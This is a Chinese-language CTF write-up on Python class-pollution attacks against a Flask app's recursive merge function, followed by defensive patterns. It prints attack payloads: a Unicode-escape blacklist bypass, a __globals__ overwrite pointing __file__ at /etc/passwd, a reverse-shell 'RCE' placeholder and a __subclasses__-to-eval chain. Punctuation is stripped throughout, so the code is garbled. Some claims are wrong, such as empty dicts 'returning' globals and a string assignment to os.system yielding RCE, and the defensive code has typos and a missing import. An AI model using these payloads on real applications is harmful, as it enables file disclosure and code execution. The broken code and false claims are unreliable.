【CTF实战】Python原型链污染:从Flask应用漏洞到全局变量劫持
1. 原型链污染基础当Python对象开始遗传变异想象你有一个祖传的菜谱父类所有分店子类都按照这个菜谱做菜。突然有人偷偷修改了祖传菜谱里的配方结果所有分店做出的菜都变了味——这就是原型链污染的核心逻辑。在Python中每个实例对象都通过__class__属性指向它的类而类又通过__base__属性指向父类。当我们修改父类的属性时所有继承该父类的子类都会受到影响。来看个具体例子class Father: secret_recipe 红烧肉配方 # 祖传秘方 class BeijingBranch(Father): pass class ShanghaiBranch(Father): pass # 正常情况下的菜品 print(BeijingBranch.secret_recipe) # 输出红烧肉配方 print(ShanghaiBranch.secret_recipe) # 输出红烧肉配方 # 污染原型链的恶意payload evil_payload { __class__: { __base__: { secret_recipe: 地沟油配方 # 篡改祖传秘方 } } } # 通过上海分店实例污染原型链 shanghai_chef ShanghaiBranch() merge(evil_payload, shanghai_chef) # 这个merge函数后面会详解 # 污染后的结果 print(BeijingBranch.secret_recipe) # 输出地沟油配方 print(ShanghaiBranch.secret_recipe) # 输出地沟油配方这里的关键在于merge函数的实现。它递归遍历payload字典通过setattr动态修改对象属性。我曾在实际CTF比赛中遇到过更隐蔽的变种——攻击者通过JSON解析漏洞注入污染payload导致所有用户会话都被劫持。2. Flask应用中的致命mergeDSACTF EzFlask漏洞剖析让我们解剖这个CTF赛题中的危险merge函数。先看关键代码def merge(src, dst): for k, v in src.items(): if hasattr(dst, __getitem__): if dst.get(k) and type(v) dict: merge(v, dst.get(k)) else: dst[k] v elif hasattr(dst, k) and type(v) dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)这个函数有三个危险特性无条件属性设置最终都会执行setattr(dst, k, v)递归合并遇到字典值会继续深入原型链穿透通过__class__和__base__可以向上修改父类在EzFlask题目中开发者试图用黑名单防御black_list [__init__.encode(), __globals__.encode()] def check(data): for i in black_list: if i in data: return False return True但黑名单总有绕过方式。我通过Unicode转义成功绕过过滤payload { \u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F: { # __init__ __globals__: { __file__: /etc/passwd # 目标文件 } } }实际攻击时我习惯先用__globals__列出所有可用变量__init__: { __globals__: {} # 留空会返回全部全局变量 }3. 全局变量劫持实战从理论到RCE最危险的攻击点是__globals__属性。在Python中函数的__globals__会返回该函数所在模块的全局符号表。通过它我们可以篡改关键配置修改app.secret_key实现会话伪造读取环境变量获取os.environ中的敏感信息实现RCE注入危险函数如os.system来看一个完整的攻击链# 第一步探测可用全局变量 probe_payload { username: test, password: test, __init__: { __globals__: {} # 返回所有全局变量 } } # 第二步发现存在os模块后构造RCE rce_payload { __init__: { __globals__: { os: { system: bash -c 反弹shell命令 } } } }在实际CTF比赛中我常用__builtins__作为备选方案。当__globals__被过滤时可以通过函数对象的__builtins__属性访问内置模块payload { __class__: { __base__: { __subclasses__: { # 获取所有子类 134: { # 通常catch_warnings类在134位置 _module: { __builtins__: { eval: 危险代码 } } } } } } }4. 防御之道从黑名单到安全架构经过多次实战我总结了这些防御方案方案一使用不可变类型class Config: SECRET_KEY hardcoded_value __slots__ () # 禁止动态添加属性方案二安全的merge实现def safe_merge(src, dst, allowed_keys): for k, v in src.items(): if k not in allowed_keys: continue if isinstance(v, dict) and isinstance(dst.get(k), dict): safe_merge(v, dst[k], allowed_keys) else: dst[k] v方案三深度冻结对象from collections.abc import MutableMapping def deep_freeze(obj): if isinstance(obj, MutableMapping): for k, v in obj.items(): obj[k] deep_freeze(v) return types.MappingProxyType(obj) # 返回只读代理 return obj在最新项目中我采用白名单类型校验的双重防护ALLOWED_KEYS {username, password, email} def api_merge(src, dst): for k, v in src.items(): if k not in ALLOWEDED_KEYS: raise ValueError(f禁止的键: {k}) if not isinstance(v, str): # 只允许字符串值 raise TypeError(值必须是字符串) dst[k] html.escape(v) # 额外HTML转义这些防御手段需要根据实际场景组合使用。比如在REST API中我会在JSON解析层就做Schema校验根本不让危险payload进入业务逻辑。